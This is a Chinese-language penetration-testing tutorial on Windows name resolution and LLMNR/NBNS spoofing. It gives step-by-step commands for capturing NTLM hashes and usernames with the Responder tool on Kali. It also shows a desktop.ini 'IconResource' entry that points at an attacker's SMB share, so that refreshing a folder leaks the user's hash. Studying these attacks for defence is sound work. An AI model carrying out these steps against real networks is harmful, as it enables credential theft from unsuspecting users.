在Windows中寻找主机通常是是以下三个步骤:
1,查询%windir%\System32\drivers\etc\hosts文件
2,查询DNS缓存
3,查询DNS服务器记录
4,通过LLMNR和NBNS协议查询内网记录
一般Windows会将以上三个服务逐个执行去寻找主机,第一个也就是大家常说的也是内网攻防中非常常用的hosts文件(一个用于储存计算机网络中各节点信息的计算机文件),如果在hosts文件中查询未果就会去查询DNS缓存和DNS服务器记录,那么如果在DNS中也查询未果的话就会执行第三种的查询方法也就是LLMNR和NBNS查询内网记录。
LLMNR全称为链路本地多播名称解析它是一个基于DNS也就是域名系统数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析,在Windows操作系统中从WindowsVista开始就内嵌支持。
在Windows上执行查找主机的命令,随便输入一个不存在的主机cysec即可捕获到LLMNR的数据包。
NBNS全称为NetBios Name Server,名称服务器,也是基本输出/输入系统,是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法,一般是指拥有局域网统性的API。
也可用捕获LLMNR数据包同样的方法捕获NBNS数据包。
在将获取哈希前首先要给大家讲明白LLMNR/NBNS欺骗的原理,在使用LLMNR/NBNS去查询用户所查询的主机是否存在于本机当前的网络中时,用户主机也就是执行查询操作的主机会广播出一个UDP的包,这个UDP包是广播给当前网络中每位主机的所有攻击者机器也会收到广播的这个UDP包,这个UDP包的大概内容就是询问此网段中的主机是否为查询的这个cysec这个主机,而实际上在此网络中的所有主机都可应答这个UDP包说自己是查询的这个cysec主机,这其中也包括了攻击机,这就是基本的LLMNR/NBNS欺骗的原理。
在进行LLMNR/NBNS欺骗攻击时我们可使用Responder工具去进行操作,这款工具就是基于协议LLMNR、NBNS、MDNS去进行欺骗。
下载地址为:
https://github.com/SpiderLabs/Responder
也可直接使用Kali linux中内置的Responder工具去进行操作,花某为了利于同网段间的操作,这边选用Kali作为攻击机。
首先确保两机器在同一网络中:
在使用工具前确保配置文件Responder.conf(/usr/share/responder/Responder.conf)的配置如下:
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
然后执行监听命令:
┌──(root㉿kali)-[/usr/share/responder]
└─# responder -I eth0
在执行监听命令时不知道监听eth几可执行ifconfig命令查看
成功开启监听后,在用户机(被攻击机)上执行查询主机的命令:
C:\Users\testuse>net use \\cysec
回到攻击机可发现成功抓取NTML哈希和Username
Desktop.ini 文件是位于每个文件夹中的隐藏 Windows 操作系统配置设置文件,它决定文件夹及其其他属性的显示方式 - 例如该文件夹使用的图标、其本地化名称、共享财产等也就是文件夹的个性设置。
此文件中存在着一个IconResource属性,恶意使用后可用于触发Samba恶意服务器。
例如如下我在用户机上新创建一个文件夹命名为cysec,并在控制面板中选择外观项:
点击查看,将隐藏受系统保护的文件取消即可看到desktop.ini文件:
将desktop.ini文件内的内容改为(IP地址为攻击机ip):
[.ShellClassInfo]
IconResource=\\192.168.10.19\cytest,1
在攻击机上开启监听:
刷新用户机中的cysec文件夹。
成功获取Hash: